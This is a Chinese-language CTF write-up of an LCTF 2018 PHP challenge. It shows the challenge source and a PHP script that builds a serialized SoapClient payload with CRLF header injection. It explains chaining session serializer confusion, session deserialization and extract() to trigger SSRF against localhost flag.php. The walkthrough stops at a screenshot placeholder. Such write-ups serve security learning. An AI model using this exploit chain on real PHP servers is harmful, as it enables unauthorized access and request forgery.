1
2
3
4
5
6
7
8
9
10
11
12
 <?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
$_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?> array(0) { }

题目直接给了源码

还存在flag.php,访问可以得到一个提示,说是要求127.0.0.1访问才行,这么看来是要联动SSRF漏洞的

1
2
3
4
5
6
7
only localhost can get flag!session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
$_SESSION['flag'] = $flag;
}
only localhost can get flag!

这个题目的源码没有明显的ssrf漏洞,php中还有一个SoapClient原生类,我们可以使用这个来构造SSRF漏洞得到flag

源码中还有一段这样的代码,可以想到session反序列化

1
$_SESSION['name'] = $_GET['name'];

而这我们可以调用函数,比如session_start,这个函数可以开启一个会话,而且允许接收一个数组来覆盖php.ini的默认设置

1
call_user_func($_GET['f'], $_POST);

现在的php session一般是默认使用的php处理器,我们可以传入一个数组来覆盖session.session_handler,使其使用php_serialize处理器来存储的会话,当存储的会话带有管道符|时,这样再次使用默认的php处理器处理时会让php处理器造成一些误解

写一个用SoapClient原生类生成生成序列化字符串的脚本,注意在前面要加一个管道符|

这里我们再结合CRLF来实现指定PHPSESSID

1
2
3
4
5
6
7
8
<?php
$target='http://127.0.0.1/flag.php';
$b = new SoapClient(null,array('location' => $target,
'user_agent' => "\r\nCookie:PHPSESSID=\r\n",
'uri' => "http://127.0.0.1/"));

$se = serialize($b);
echo "|".urlencode($se);

f传入session_start执行 POST则传入serialize_handler=php_serialize

image-20260513214922328

这样的目的是让他以php_serialize处理器的处理方式存储我们的session会话

那现在还有一步就是触发session反序列化漏洞了

1
reset($_SESSION)

这段代码的意思是调用$_SESSION数组的第一个键的值,而我们传入的第一个$_SESSION数组的第一个键的值会被php处理器反序列化为一个SoapClient对象

如果我们能覆盖$b为call_user_func函数就会变成

1
call_user_func('call_user_func',array('SoapClient','welcome_to_the_lctf2018')) 

就直接让那个SoapClient类调用了一个不存在的方法,然后触发__call实现SSRF

那要怎么覆盖

注意前面还有一段这样的代码

1
call_user_func($_GET['f'], $_POST);

如果我们使用extract函数就可以实现覆盖$b的值为call_user_func

image-20260513223132778